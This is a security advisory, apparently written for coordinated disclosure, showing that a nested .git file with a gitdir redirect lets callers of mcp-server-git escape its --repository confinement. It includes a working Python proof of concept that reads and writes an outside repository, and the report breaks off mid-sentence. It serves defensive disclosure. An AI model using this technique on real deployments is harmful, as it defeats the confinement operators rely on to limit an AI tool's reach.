mcp-server-git: nested gitdir file bypasses --repository confinement

gitdir: /path/to/outside-repository/.git

validate_repo_path() accepts the nested directory because its filesystem path is inside the allowed repository. open_repo() then passes it to git.Repo(), which follows the gitdir indirection. Subsequent tool calls operate on the outside repository without revalidating the resolved repository.

Through the real in-process MCP interface, I confirmed that:

1. git_show with the outside repository path directly is rejected.
2. git_show with the nested gitdir path returns committed content from the outside repository.
3. git_create_branch with the nested gitdir path creates a branch in the outside repository.

This bypasses the server's claimed repository boundary and permits unauthorized read and modification with the MCP process's privileges.

Attack preconditions

This is not claimed to be an unauthenticated standalone remote exploit. An attacker must be able to:

• invoke tools on a confined mcp-server-git instance;
• create a nested directory and a .git file inside the allowed repository, or cause such content to be placed there; and
• identify or guess the path of a repository outside the allowed root that the MCP process can access.

One realistic setup is a deployment that also gives a filesystem MCP server write access to the same allowed directory. At the tested commit, the filesystem server's write_file path permits creation of a .git file within its allowed directories; it has no special .git exclusion. The finding does not depend on that companion server—any mechanism that supplies the nested gitdir file meets the precondition.

Root cause

In src/git/src/mcp_server_git/server.py at the tested commit:

• Lines 351–369, validate_repo_path(), canonicalize only the caller-supplied repo_path and check that it is inside allowed_repository.
• Lines 524–527, open_repo(), call validate_repo_path(path, repository) and then return git.Repo(path).

Path.resolve() handles filesystem symlinks but does not interpret Git's .git file redirection. GitPython resolves that redirection later. There is no check after opening the repository to ensure that the repository actually selected by Git is the allowed one.

Relevant code:

def open_repo(repo_path: str) -> git.Repo:
    path = Path(repo_path)
    validate_repo_path(path, repository)
    return git.Repo(path)

Minimal reproduction

Use only temporary dummy repositories. The reproduction below uses the repository's existing connect and make_repo test helpers and the real in-process MCP protocol. Save it as src/git/repro_gitdir.py in the tested source tree, then run PYTHONPATH=tests uv run --frozen python repro_gitdir.py from src/git. On Windows, set PYTHONPATH to tests for the process using the shell's standard environment-variable syntax.

from pathlib import Path
import shutil
import tempfile

import anyio
import git
from conftest import connect, make_repo
from mcp_server_git.server import validate_repo_path

ROOT = Path(__file__).resolve().parent
BRANCH = "gitdir-confinement-bypass-proof"

async def main():
    lab = Path(tempfile.mkdtemp(prefix="gitdir-repro-"))
    allowed = outside = None
    try:
        allowed = make_repo(lab / "allowed")
        outside = make_repo(lab / "outside")
        (lab / "outside" / "proof.txt").write_text("DUMMY-OUTSIDE-CONTENT\n")
        outside.index.add(["proof.txt"])
        outside.index.commit("dummy outside commit")

        nested = lab / "allowed" / "nested"
        nested.mkdir()
        (nested / ".git").write_text(f"gitdir: {outside.git_dir}\n")

        # The supplied nested path passes the confinement check.
        validate_repo_path(nested, lab / "allowed")
        redirected = git.Repo(nested)
        assert Path(redirected.git_dir).resolve() == Path(outside.git_dir).resolve()

        async with connect(lab / "allowed") as session:
            # Negative control: the direct outside path is rejected.
            direct = await session.call_tool("git_show", {
                "repo_path": str(lab / "outside"),
                "revision": "HEAD:proof.txt",
            })
            assert direct.is_error is True
            assert "outside the allowed repository" in direct.content[0].text

            # Bypass: read an outside committed file through the nested path.
            bypass = await session.call_tool("git_show", {
                "repo_path": str(nested),
                "revision": "HEAD:proof.txt",
            })
            assert bypass.is_error is not True
            assert "DUMMY-OUTSIDE-CONTENT" in bypass.content[0].text

            # Integrity impact: create a ref in the outside repository.
            write = await session.call_tool("git_create_branch", {
                "repo_path": str(nested),
                "branch_name": BRANCH,
            })
            assert write.is_error is not True

        assert any(head.name == BRANCH for head in outside.heads)
        print("CONFIRMED: direct path rejected; outside read and branch write succeeded")
        redirected.close()
    finally:
        if allowed is not None:
            allowed.close()
        if outside is not None:
            outside.close()
        shutil.rmtree(lab)

anyio.run(main)

Observed result

{
  "package": "mcp-server-git",
  "version": "2026.10.19",
  "source_commit": "82acf2aabf47bd462606a0d879e4849c26b2afae",
  "direct_outside_path_rejected": true,
  "nested_gitdir_path_accepted": true,
  "outside_commit_content_read": true,
  "outside_repository_modified": true
}

All test repositories and data were temporary local dummies and were deleted afterward. No third-party service or real repository was accessed.

Impact

A caller who meets the preconditions can cross the configured --repository boundary. Confirmed impacts are disclosure of committed files and modification of refs in another repository. Other exposed Git tools may perform additional reads or writes on that outside repository with the server's OS privileges. The demonstrated branch creation is an integrity violation; this report does not claim arbitrary host-file write or code execution.

Suggested remediation

In confined mode, do not allow Git repository discovery to escape the explicitly allowed repository:

• Prefer rejecting .git file indirection by default when --repository is configured, unless there is a documented safe policy for it.
• After opening, validate the resolved repository identity and relevant paths before every operation. Do not rely solely on validating the original repo_path string.
• Account explicitly for legitimate linked worktrees and separate git directories. A blanket requirement that every repo.git_dir be physically beneath the allowed worktree could break valid worktree layouts, so the policy should bind an allowed repository/worktree relationship rather than perform only a naive git_dir prefix check.
• Add regression coverage for absolute and relative gitdir redirection, nested .git files, and legitimate linked worktrees. Include both read and write tool tests plus a direct-path negative control.

Coordinated disclosure and CVE request

Please keep this report p